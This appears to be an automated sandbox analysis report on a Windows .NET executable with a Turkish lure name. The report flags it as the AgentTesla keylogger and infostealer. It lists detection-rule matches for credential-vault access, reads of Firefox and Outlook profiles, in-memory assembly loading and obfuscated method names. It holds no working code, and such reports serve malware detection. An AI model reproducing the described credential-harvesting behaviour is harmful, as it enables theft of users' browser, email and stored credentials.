Source: hesaphareketi-.exe, 00000002.00000002.4188455477.00000000009A9000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs hesaphareketi-.exe
Source: hesaphareketi-.exe, 00000002.00000002.4188331044.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Binary or memory string: OriginalFilename114326d3-9409-41d5-a856-433d8726b4f2.exe4 vs hesaphareketi-.exe
Source: hesaphareketi-.exe	Binary or memory string: OriginalFilenamewfrb.exeN vs hesaphareketi-.exe

Source: hesaphareketi-.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 2.2.hesaphareketi-.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.hesaphareketi-.exe.3b6d660.4.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-.exe.3b6d660.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.hesaphareketi-.exe.38c34e0.3.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-.exe.38c34e0.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload
Source: 0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.hesaphareketi-.exe.3b6d660.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AgentTeslaV2 author = ditekSHen, description = AgenetTesla Type 2 Keylogger payload

Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, roEs93G.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, roEs93G.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, JQn0Aia1.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, JQn0Aia1.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.hesaphareketi-.exe.38c34e0.3.raw.unpack, YsrmZ97b.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, qSF0J7DvnxdthJZib5.cs	Security API names: _0020.SetAccessControl
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, qSF0J7DvnxdthJZib5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, qSF0J7DvnxdthJZib5.cs	Security API names: _0020.AddAccessRule
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, qSF0J7DvnxdthJZib5.cs	Security API names: _0020.SetAccessControl
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, qSF0J7DvnxdthJZib5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, qSF0J7DvnxdthJZib5.cs	Security API names: _0020.AddAccessRule
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, qSF0J7DvnxdthJZib5.cs	Security API names: _0020.SetAccessControl
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, qSF0J7DvnxdthJZib5.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, qSF0J7DvnxdthJZib5.cs	Security API names: _0020.AddAccessRule
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, A6T4HvQSBKp3I8TOI7.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, A6T4HvQSBKp3I8TOI7.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, A6T4HvQSBKp3I8TOI7.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/1@2/2

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\hesaphareketi-.exe.log

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Mutant created: NULL

Source: hesaphareketi-.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: hesaphareketi-.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%

Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\hesaphareketi-.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: hesaphareketi-.exe

ReversingLabs: Detection: 47%

Source: hesaphareketi-.exe	String found in binary or memory: Form3!Types of Squares-Startup life evolution%Genetic AlgorithmsyPopulation: chromosomes encoding starting cell and movementsYOperators: selection, crossover and mutation
Source: hesaphareketi-.exe	String found in binary or memory: Source code available on Github under MIT license: https://github.com/romenrg/genetic-startups

Source: unknown	Process created: C:\Users\user\Desktop\hesaphareketi-.exe "C:\Users\user\Desktop\hesaphareketi-.exe"
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Users\user\Desktop\hesaphareketi-.exe "C:\Users\user\Desktop\hesaphareketi-.exe"
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Process created: C:\Users\user\Desktop\hesaphareketi-.exe "C:\Users\user\Desktop\hesaphareketi-.exe"	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\hesaphareketi-.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\hesaphareketi-.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\hesaphareketi-.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: hesaphareketi-.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: hesaphareketi-.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: hesaphareketi-.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wfrb.pdbSHA256f source: hesaphareketi-.exe
Source:	Binary string: wfrb.pdb source: hesaphareketi-.exe

Data Obfuscation

.NET source code contains potential unpacker

Source: hesaphareketi-.exe, MainForm.cs	.Net Code: createBasicLayout
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, qSF0J7DvnxdthJZib5.cs	.Net Code: dNVoVdfCvA System.Reflection.Assembly.Load(byte[])
Source: 0.2.hesaphareketi-.exe.5250000.7.raw.unpack, LoginForm.cs	.Net Code: _206B_206C_202A_202D_206F_206F_206C_202D_206A_202A_200B_206C_206E_206A_206D_206B_202C_206E_200C_206F_200D_206D_200C_200F_202C_206C_202E_206B_202B_202E_206E_206B_206B_206D_206C_202C_200D_202E_202C_200E_202E System.Reflection.Assembly.Load(byte[])
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, qSF0J7DvnxdthJZib5.cs	.Net Code: dNVoVdfCvA System.Reflection.Assembly.Load(byte[])
Source: 0.2.hesaphareketi-.exe.71e0000.8.raw.unpack, qSF0J7DvnxdthJZib5.cs	.Net Code: dNVoVdfCvA System.Reflection.Assembly.Load(byte[])

Source: hesaphareketi-.exe

Static PE information: section name: .text entropy: 6.966251395726089

Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, U4O5F7tCA5mXrp4xJe.cs	High entropy of concatenated method names: 'wrEKO1a6TW', 'FNgK6M0XsX', 'EUbKaElI24', 'cedKDdvIyN', 'fjkK1FP8eZ', 'fIBK0PHWxo', 'kEyKAB5IhS', 'Q5oKLFyZ22', 'dIoKW9Q3bx', 'QjJKS13eJa'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, s7GQtBPueGNviOKVDk.cs	High entropy of concatenated method names: 'kFcgNgsMyW', 'TCRgQDHiim', 'LLygO7DPyJ', 'OlOg6CxLDp', 'b0cglu8M1d', 'mXwguhOIw2', 'KlsgiqGno4', 'lgtgEk0cIh', 'kfdgeFdjNG', 'E3AgJmuXUa'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, EWNefPUpdnnuMF2LDw.cs	High entropy of concatenated method names: 'KFZTjHmjK1', 'vNWTvNmJWK', 'AatTVHgShh', 'WU6TNPt0qi', 'dM9Tw4wp7G', 'FDHTQSDNRy', 'uiqT9mO5tp', 'jFnTOAOQWi', 'sExT6eVm0b', 'TMmTtaa9JC'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, iVtniYN4vZtxR6yDAr.cs	High entropy of concatenated method names: 'T5giMUHlyV', 'bNhiyNpv60', 'mE4EfjJnwQ', 'PcMEhqjYFP', 'Si1iSf9cbq', 'qihixsx6IF', 'SYaiFEi9MC', 'SXKip23eHr', 'qMMiHXSBAP', 'kMkicK7kaE'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, SM5eqqVuTVFO8dvrHH.cs	High entropy of concatenated method names: 'b4GlWeOUKK', 'g2ClxnWkMK', 'z9ulplClFs', 'Ko0lHDi5lq', 'mcZlDgDQ6r', 'J2rlbkNsLu', 'mPLl1WY2wl', 'TP6l0nP8tC', 'JATlsVMUZs', 'pujlAHYG3y'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, bD17TXcjkL7Y9j5QUH.cs	High entropy of concatenated method names: 'Dispose', 'fRShm0UiIO', 'A58rDpLKTZ', 'pmInn2xbag', 'i2whyPfKWt', 'YfHhz796Du', 'ProcessDialogKey', 'UqOrfUvTPv', 'nKNrhUQKL4', 'oknrrHKP5o'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, yQAU6D1JP0QpKGv8yW.cs	High entropy of concatenated method names: 'W3IhTJZOip', 'U4dhPQF6MJ', 'NCIh71DEl5', 'maIh8IOKmy', 'DqGhlQ7a3I', 'hUehuaFgbj', 'SnrUckHxiy698xlyVl', 'hilfigoE2Ban5eNjyn', 'BYhhhIYxWu', 'WvUhY1F3ca'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, A6T4HvQSBKp3I8TOI7.cs	High entropy of concatenated method names: 'M5qdpd4Ckb', 'iMudHRG6sc', 'l9ZdcemdGQ', 'aMRd2hwAks', 'kSCdqCJt61', 'ryDdXJtHls', 'ORKd5M6fix', 'vJedMg3dAY', 'QRMdmv0eNS', 'NvtdyQ3Qxv'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, Ye427Es96uSuSHgwDH.cs	High entropy of concatenated method names: 'r2uVYhtjV', 'b0mN7bSSD', 'bjOQYsPG0', 'tFW9WWjv9', 'rsa6XfU57', 'x7VtSDabx', 'k5Clos05llpON64yYN', 'h2PRufxw8vaAXY6vUT', 'tO9ECAqVm', 'myDJA69Us'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, PQLLFTlOCBYNXekLp3.cs	High entropy of concatenated method names: 'Mj0eh271UK', 'YTeeYLjPTq', 'EZVeoT74Do', 'TsoeUcOIS2', 'ryxedE3Yfo', 'BIFeCQ4pS3', 'QIxeR6NXDc', 'krpE5kNt8C', 'FxqEMCMweR', 'yQrEmUkmw8'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, tyMC5KzKNmJ8VxLdVq.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'J44eKxZ0WX', 'HVQelpCcj9', 'gE2euphTEc', 'sVdeiJFBjv', 'KGZeE17In6', 'wjweeK5YZ6', 'xfAeJWsjfZ'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, YuuMvnWhOLbeKF1DHk.cs	High entropy of concatenated method names: 'dyFEabo2fD', 'TrJEDTmwCp', 'wnHEbukOiV', 'R1jE1f21Lr', 'LIuEpamc1o', 'F72E0UMSSw', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, UcN2tS4TVvhfkkdhvv.cs	High entropy of concatenated method names: 'JykRBJjcUX', 'iKnRdmRBes', 'UZwRC3Mw4f', 'Yg9RT9HTxj', 'nu2RPNxLET', 'niVCqpnHYd', 'JDvCXwHGt9', 'xLwC5PUkTa', 'G8nCMhG8AG', 'J8PCmf4rSk'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, qSF0J7DvnxdthJZib5.cs	High entropy of concatenated method names: 'IMuYBx3IaN', 'RGDYUCQXdW', 'tuDYdhUgIM', 'ylwYgPtbfJ', 'ujQYCWxhqM', 'In9YRUTT8k', 'HhpYTRtD2R', 'YMmYP8Jh4D', 'RqZY4weB5J', 'cRjY72POCr'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, HGW7wDaJtlnWFFev73.cs	High entropy of concatenated method names: 'tmfRkuDgAU', 'iprRjYnJOw', 'ioSRVD7Jho', 'B9WRNNTgRU', 'zC4RQ23m15', 'vHWR9tP0yY', 'tMfR6lg7Y0', 'F3nRtGN9sH', 'AZSIu8few6G8M1bqJHa', 'IHop0pfiXYUD4mPcQd8'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, ngaD9fevEcvo0XvIaN.cs	High entropy of concatenated method names: 'E5Bi7giErN', 'SDEi8BqRWc', 'ToString', 'v6diUdA3O4', 'YsCidulyBF', 'z9Kig2gAWm', 'JwBiCaiCR1', 'OtFiRemuuV', 'cPdiTh1qw1', 'sjPiPSt1EO'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, DKDR76B8ckP7Brsx4b.cs	High entropy of concatenated method names: 'zNcEUvK3AK', 'SPLEdtZLbj', 'DCkEgeOYJc', 'Pl3ECY7U8R', 'vQmERpoSf7', 'TClETMMMZW', 'kATEPuBjTQ', 'YDBE4d3qFW', 'HMgE7kIO1K', 'rPAE8LLRhw'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, adXmY1I1Otiab8KBLS.cs	High entropy of concatenated method names: 'OElCwfUSSx', 'R90C9oZhQ9', 'hmGgbe4VMm', 'EmRg13yZiw', 'WQug00cQku', 'gnZgs5Fqe4', 'WYHgA0Eu79', 'IZDgL5PRDi', 'vGlg3ZXJ5Q', 'N9hgWbsROP'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, LHjqx0gXy9y11yjTH21.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JPmJpnWttY', 'yV0JH9urgi', 'ovoJc1cIek', 'eYmJ2uGRV1', 'GfjJqBKtKO', 'lG6JXRKu0X', 'PpBJ5swk1L'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, TwgML5SYjhFRdyKIDi.cs	High entropy of concatenated method names: 'kkYk9WfMAwlrTVa0H7n', 'lCcPX8f9OD2uanXLNc8', 'IBTREwaEKS', 'Ni9ReCGfyP', 'H81RJhwFar', 'kGb59UfrgJR0YMVmpMg', 'doID52fgJUSQ5DrcxB5'
Source: 0.2.hesaphareketi-.exe.3c66b30.5.raw.unpack, mDcIsZgfbrOPtql7Els.cs	High entropy of concatenated method names: 'BKlejsZ0Ga', 'tkZevlsogp', 'YcneViUvj3', 'WaNeNZVX1x', 'GEIewQcT6I', 'dTFeQYhwJJ', 'rsfe9YhMa3', 'QRNeOj4DJJ', 'HB5e6AMZ9P', 'bjket1wkgt'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, U4O5F7tCA5mXrp4xJe.cs	High entropy of concatenated method names: 'wrEKO1a6TW', 'FNgK6M0XsX', 'EUbKaElI24', 'cedKDdvIyN', 'fjkK1FP8eZ', 'fIBK0PHWxo', 'kEyKAB5IhS', 'Q5oKLFyZ22', 'dIoKW9Q3bx', 'QjJKS13eJa'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, s7GQtBPueGNviOKVDk.cs	High entropy of concatenated method names: 'kFcgNgsMyW', 'TCRgQDHiim', 'LLygO7DPyJ', 'OlOg6CxLDp', 'b0cglu8M1d', 'mXwguhOIw2', 'KlsgiqGno4', 'lgtgEk0cIh', 'kfdgeFdjNG', 'E3AgJmuXUa'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, EWNefPUpdnnuMF2LDw.cs	High entropy of concatenated method names: 'KFZTjHmjK1', 'vNWTvNmJWK', 'AatTVHgShh', 'WU6TNPt0qi', 'dM9Tw4wp7G', 'FDHTQSDNRy', 'uiqT9mO5tp', 'jFnTOAOQWi', 'sExT6eVm0b', 'TMmTtaa9JC'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, iVtniYN4vZtxR6yDAr.cs	High entropy of concatenated method names: 'T5giMUHlyV', 'bNhiyNpv60', 'mE4EfjJnwQ', 'PcMEhqjYFP', 'Si1iSf9cbq', 'qihixsx6IF', 'SYaiFEi9MC', 'SXKip23eHr', 'qMMiHXSBAP', 'kMkicK7kaE'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, SM5eqqVuTVFO8dvrHH.cs	High entropy of concatenated method names: 'b4GlWeOUKK', 'g2ClxnWkMK', 'z9ulplClFs', 'Ko0lHDi5lq', 'mcZlDgDQ6r', 'J2rlbkNsLu', 'mPLl1WY2wl', 'TP6l0nP8tC', 'JATlsVMUZs', 'pujlAHYG3y'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, bD17TXcjkL7Y9j5QUH.cs	High entropy of concatenated method names: 'Dispose', 'fRShm0UiIO', 'A58rDpLKTZ', 'pmInn2xbag', 'i2whyPfKWt', 'YfHhz796Du', 'ProcessDialogKey', 'UqOrfUvTPv', 'nKNrhUQKL4', 'oknrrHKP5o'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, yQAU6D1JP0QpKGv8yW.cs	High entropy of concatenated method names: 'W3IhTJZOip', 'U4dhPQF6MJ', 'NCIh71DEl5', 'maIh8IOKmy', 'DqGhlQ7a3I', 'hUehuaFgbj', 'SnrUckHxiy698xlyVl', 'hilfigoE2Ban5eNjyn', 'BYhhhIYxWu', 'WvUhY1F3ca'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, A6T4HvQSBKp3I8TOI7.cs	High entropy of concatenated method names: 'M5qdpd4Ckb', 'iMudHRG6sc', 'l9ZdcemdGQ', 'aMRd2hwAks', 'kSCdqCJt61', 'ryDdXJtHls', 'ORKd5M6fix', 'vJedMg3dAY', 'QRMdmv0eNS', 'NvtdyQ3Qxv'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, Ye427Es96uSuSHgwDH.cs	High entropy of concatenated method names: 'r2uVYhtjV', 'b0mN7bSSD', 'bjOQYsPG0', 'tFW9WWjv9', 'rsa6XfU57', 'x7VtSDabx', 'k5Clos05llpON64yYN', 'h2PRufxw8vaAXY6vUT', 'tO9ECAqVm', 'myDJA69Us'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, PQLLFTlOCBYNXekLp3.cs	High entropy of concatenated method names: 'Mj0eh271UK', 'YTeeYLjPTq', 'EZVeoT74Do', 'TsoeUcOIS2', 'ryxedE3Yfo', 'BIFeCQ4pS3', 'QIxeR6NXDc', 'krpE5kNt8C', 'FxqEMCMweR', 'yQrEmUkmw8'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, tyMC5KzKNmJ8VxLdVq.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'J44eKxZ0WX', 'HVQelpCcj9', 'gE2euphTEc', 'sVdeiJFBjv', 'KGZeE17In6', 'wjweeK5YZ6', 'xfAeJWsjfZ'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, YuuMvnWhOLbeKF1DHk.cs	High entropy of concatenated method names: 'dyFEabo2fD', 'TrJEDTmwCp', 'wnHEbukOiV', 'R1jE1f21Lr', 'LIuEpamc1o', 'F72E0UMSSw', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.hesaphareketi-.exe.3ce2d50.2.raw.unpack, UcN2tS4TVvhfkkdhvv.cs	High entropy of concatenated method names: 'JykRBJjcUX', 'iKnRdmRBes', 'UZwRC3Mw4f', 'Yg9RT9HTxj', 'nu2RPNxLET', 'niVCqpnHYd', 'JDvCXwHGt9', 'xLwC5PUkTa', 'G8nCMhG8AG', 'J8PCmf4rSk'
